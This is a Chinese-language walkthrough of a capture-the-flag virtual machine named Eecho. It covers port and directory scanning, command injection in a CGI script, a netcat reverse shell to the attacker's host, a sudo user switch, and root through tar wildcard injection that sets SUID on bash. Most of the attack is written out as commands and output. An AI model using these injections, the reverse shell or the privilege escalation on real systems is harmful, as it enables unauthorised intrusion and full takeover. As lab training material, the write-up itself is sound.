

信息收集

nmap发现开放三个端口：22,80,8080，此外没有其他更多信息

```
└─(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# nmap -sT --min-rate 10000 -p- $ip -oN nmap_1.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-22 13:53 CST
Nmap scan report for 192.168.43.55
Host is up (0.016s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8080/tcp  open  http-proxy
MAC Address: 08:00:27:A8:27:07 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

Nmap done: 1 IP address (1 host up) scanned in 2.84 seconds

```
└─(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# cat nmap_1.txt | grep -E '^([0-9]+)/tcp' | awk -F '/' '{print $1}' | paste -
sd,
22,80,8080
```

```
└─(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# port=22,80,8080
```

```
└─(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# nmap -sT -sV -sC -O -p $port $ip -oN nmap_2.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-22 13:53 CST
Nmap scan report for 192.168.43.55
Host is up (0.00081s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_ http-server-header: Apache/2.4.62 (Debian)
|_ http-title: Site doesn't have a title (text/html).
8080/tcp  open  http     Apache Tomcat
|_ http-title: Apache Tomcat
|_ http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:A8:27:07 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap **done**: 1 IP address (1 host up) scanned in 7.94 seconds

8080端口web下的是 Apache Tomcat 9 的默认欢迎页面，进入

<http://192.168.43.55:8080/manager/html>

发现没有开启后台只拿到一个版本号 Apache Tomcat/9.0.107 (Debian) 尝试用Nday攻击都失败了，并没有发现更多有价值的东西

```
(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# curl http://192.168.43.55:8080/

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <title>Apache Tomcat</title>
</head>

<body>
<h1>It works !</h1>

<p>If you're seeing this page via a web browser, it means you've setup Tomcat
successfully. Congratulations!</p>

<p>This is the default Tomcat home page. It can be found on the local filesystem
at: <code>/var/lib/tomcat9/webapps/ROOT/index.html</code></p>

.....
```

在对 <http://192.168.43.55> 进行目录扫描时，上发现 [/cgi-bin/](#)

什么是 CGI? CGI 是一个早期的 Web 服务器与外部程序交互的标准协议。简单说：让 Web 服务器能够执行服务器上的程序，并把结果返回给浏览器。[/cgi-bin/](#) 是 CGI 程序的默认存放目录，通常在 Web 根目录下，如 [/var/www/cgi-bin/](#) 或 [/usr/lib/cgi-bin/](#)。

```

—(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# feroxbuster -u http://192.168.43.55/ -w
/home/kali/Desktop/Web/dir/directory-list-2.3-big.txt -k -C 404,502,500 -x
zip,php,html,txt,bak

200      GET      11      1w      6c http://192.168.43.55/
200      GET      11      1w      6c http://192.168.43.55/index.html
301      GET      91      28w     316c http://192.168.43.55/cgi-bin =>
http://192.168.43.55/cgi-bin/
[#>-----] - 7m      872798/15285828 2h      found:3      errors:0

🚩 Caught ctrl+c 🚩 saving scan state to ferox-
http_192_168_43_55_-1776837736.state ...
[#>-----] - 7m      872856/15285828 2h      found:3      errors:0

[#>-----] - 7m      455628/7642908 1055/s http://192.168.43.55/
[#>-----] - 7m      416940/7642908 967/s  http://192.168.43.55/cgi-
bin/

```

发现了 `/cgi-bin/` 后就有思路了，去扫目录下的 `.cgi` 文件，

.cgi 文件是一个可执行的脚本或程序，放在 Web 服务器的 `/cgi-bin/` 目录下，用于动态生成网页内容。

```

—(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# feroxbuster -u http://192.168.43.55/cgi-bin -w
/home/kali/Desktop/Web/dir/directory-list-2.3-big.txt -k -C 404,502,500 -x .cgi

301      GET      91      28w     316c http://192.168.43.55/cgi-bin =>
http://192.168.43.55/cgi-bin/
200      GET      11      3w      16c http://192.168.43.55/cgi-bin/test.cgi
200      GET      11      1w      12c http://192.168.43.55/cgi-bin/vuln.cgi
.....

```

在 `http://192.168.43.55/cgi-bin/` 中发现了两个 `.cgi` 文件 `test.cgi` , `vuln.cgi`

漏洞发现

这里猜测需要拼接命令，然后进行尝试，成功执行。

```

—(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# curl http://192.168.43.55/cgi-bin/vuln.cgi
PATH_INFO:

—(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# curl "http://192.168.43.55/cgi-bin/vuln.cgi;id"

PATH_INFO: /;id
Executing: ;id

—(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# curl "http://192.168.43.55/cgi-bin/vuln.cgi/id"
PATH_INFO: /id
Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

反弹shell

```
(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# curl "http://192.168.43.55/cgi-bin/vuln.cgi/busybox%20nc%20192.168.43.3%204444%20-e%20/bin/bash"
PATH_INFO: /busybox nc 192.168.43.3 4444 -e /bin/bash
Executing: busybox nc 192.168.43.3 4444 -e /bin/bash
```

```
(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# nc -lvp 4444
listening on [any] 4444 ...
```

```
id
connect to [192.168.43.3] from (UNKNOWN) [192.168.43.55] 44678
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
www-data@Eecho:/usr/lib/cgi-bin$ ^Z
zsh: suspended nc -lvp 4444
```

```
(root@Sand4o)-[/home/kali/Desktop/hvm]
└─# stty raw -echo;fg
[1] + continued nc -lvp 4444
reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@Eecho:/usr/lib/cgi-bin$ ls
test.cgi vuln.cgi
```

权限提升

在sudo -l中发现了 (111) NOPASSWD: /usr/bin/su - 111, 切换用户

```
www-data@Eecho:/usr/lib/cgi-bin$ cd /tmp
www-data@Eecho:/tmp$ sudo -l

sudo: unable to resolve host Eecho: Temporary failure in name resolution
Matching Defaults entries for www-data on Eecho:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on Eecho:
    (111) NOPASSWD: ALL
    (111) NOPASSWD: /usr/bin/su - 111
www-data@Eecho:/tmp$ sudo -u 111 bash
sudo: unable to resolve host Eecho: Temporary failure in name resolution
111@Eecho:/tmp$
111@Eecho:/tmp$ d
111@Eecho:/tmp$ cd ~
```

```

111@Eecho:~$ ls -al
total 28
drwxr-xr-x 2 111 111 4096 Apr 17 07:37 .
drwxr-xr-x 5 root root 4096 Apr 17 05:37 ..
-rw----- 1 111 111 648 Apr 17 07:37 .bash_history
-rw-r--r-- 1 111 111 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 111 111 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 111 111 807 Apr 18 2019 .profile
-rw-r--r-- 1 root root 44 Apr 17 07:07 user.txt
111@Eecho:~$ cat user.txt
flag{user-6C1AF43CD10933256F88124FBEXXXXXX}

```

成功拿到userflag.

随后在定时任务中发现了 `* * * * * root /usr/local/bin/backup.sh`

```

.....
||
||          CRON JOBS CHECK
||
||

[INFO] System cron file: /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.monthly )
* * * * * root /usr/local/bin/backup.sh
.....
111@Eecho:/tmp$ ls /usr/local/bin/backup.sh -al
-rwxr-xr-x 1 root root 59 Apr 17 06:23 /usr/local/bin/backup.sh
111@Eecho:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html
tar -czf /tmp/backup.tar.gz *
111@Eecho:/tmp$ ls -ld /var/www/html
drwxrwxrwx 3 root root 4096 Apr 17 07:05 /var/www/html
111@Eecho:/tmp$ cd /var/www/html/

```

发现 `/usr/local/bin/backup.sh` 可读后, 查看内容发现脚本逻辑为: **进入网站目录, 使用tar打包所有内容, 保存到/tmp**。问题就出现在*上, 这里在*通配符上存在漏洞, 因为如果目录下有文件名以开头的文件, tar会把它当作命令行参数而不是文件名

尝试利用

```

111@Eecho:/var/www/html$ echo '#!/bin/bash' > shell.sh
111@Eecho:/var/www/html$ echo 'chmod u+s /bin/bash' >> shell.sh
111@Eecho:/var/www/html$ chmod +x shell.sh
111@Eecho:/var/www/html$ touch "/var/www/html/--checkpoint=1"

```

```

111@Eecho:/var/www/html$ touch "/var/www/html/--checkpoint-action=exec=sh
shell.sh"
111@Eecho:/var/www/html$ /tmp/pspy32s
.....
2026/04/22 03:21:01 CMD: UID=0      PID=3439   | /bin/sh -c
/usr/local/bin/backup.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3438   | /bin/sh -c
/usr/local/bin/backup.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3437   | /bin/sh -c
/usr/local/bin/backup.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3440   | /bin/bash
/usr/local/bin/backup.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3441   | /bin/bash
/usr/local/bin/backup.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3443   | tar -czf /tmp/backup.tar.gz -c
cgi-bin --checkpoint=1 --checkpoint-action=exec=sh shell.sh id index.html
shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3442   | tar -czf /tmp/backup.tar.gz -c
cgi-bin --checkpoint=1 --checkpoint-action=exec=sh shell.sh id index.html
shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3446   | tar -czf /tmp/backup.tar.gz -c
cgi-bin --checkpoint=1 --checkpoint-action=exec=sh shell.sh id index.html
shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3445   | /bin/sh -c sh shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3444   | /bin/sh -c gzip
2026/04/22 03:21:01 CMD: UID=0      PID=3447   | tar -czf /tmp/backup.tar.gz -c
cgi-bin --checkpoint=1 --checkpoint-action=exec=sh shell.sh id index.html
shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3448   | sh shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3449   | /bin/sh -c sh shell.sh
2026/04/22 03:21:01 CMD: UID=0      PID=3450   | /bin/sh -c gzip
2026/04/22 03:21:01 CMD: UID=0      PID=3451   | sh shell.sh
^CExiting program... (interrupt)
111@Eecho:/var/www/html$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
111@Eecho:/var/www/html$ /bin/bash -p
bash-5.0# cat /root/root.txt
flag{root-8D931866E1B45A7A554EEAB772XXXXXX}

```

提权成功。